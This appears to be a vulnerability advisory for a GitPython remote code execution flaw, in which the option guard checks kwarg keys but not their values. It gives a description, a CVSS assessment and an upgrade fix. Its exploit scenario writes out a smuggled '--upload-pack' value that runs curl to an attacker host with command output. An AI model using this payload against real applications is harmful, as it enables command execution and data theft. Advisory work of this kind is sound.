Ecosystem-wide dependent count for version 3.1.54.
DescriptionCVE.org
GitPython versions before 3.1.54 contain a remote code execution vulnerability in the check_unsafe_options guard that can be bypassed by smuggling git options inside single-character kwarg values. Attackers can supply crafted option dictionaries to clone_from, fetch, pull, push, ls_remote, iter_commits, blame, or archive methods to execute arbitrary OS commands via the --upload-pack parameter.
AnalysisAI
Remote code execution in GitPython before 3.1.54 exploits a guard bypass in check_unsafe_options where the validation logic inspects kwarg keys but never their values, allowing an attacker to smuggle dangerous git options such as --upload-pack inside single-character kwarg values across every guarded method - clone_from, fetch, pull, push, ls_remote, iter_commits, blame, and archive. Any application that passes externally-influenced kwargs to these methods is fully compromised; the attacker achieves arbitrary OS command execution as the host process. …

Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | The target application must pass externally-influenced kwargs - in the form of Python keyword arguments - to at least one of the eight affected GitPython methods: clone_from, fetch, pull, push, ls_remote, iter_commits, blame, or archive. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 score of 8.7 (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H) accurately reflects a network-reachable, low-complexity flaw requiring only low-privilege access - consistent with the attack profile of an authenticated API user or CI pipeline actor who can supply kwargs. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with access to a web application that proxies git clone or fetch operations - such as a CI pipeline trigger or repository mirror API - submits a request containing n='--upload-pack=curl http://attacker.com/$(id);git-upload-pack' as a kwarg. The application forwards this dict to Repo.clone_from; the guard validates only '-n' (the key), allows it, and the subprocess receives '--upload-pack=curl...' as a separate argv token, executing the out-of-band callback as the service account. … |
| Remediation | Upgrade GitPython to version 3.1.54, which contains the fix introduced via PR #2180 (https://github.com/gitpython-developers/GitPython/pull/2180) and commit e8d0fbf774d1f6baa3b481adfe48bd262e43b453. … Detailed patch versions, workarounds, and compensating controls in full report. |
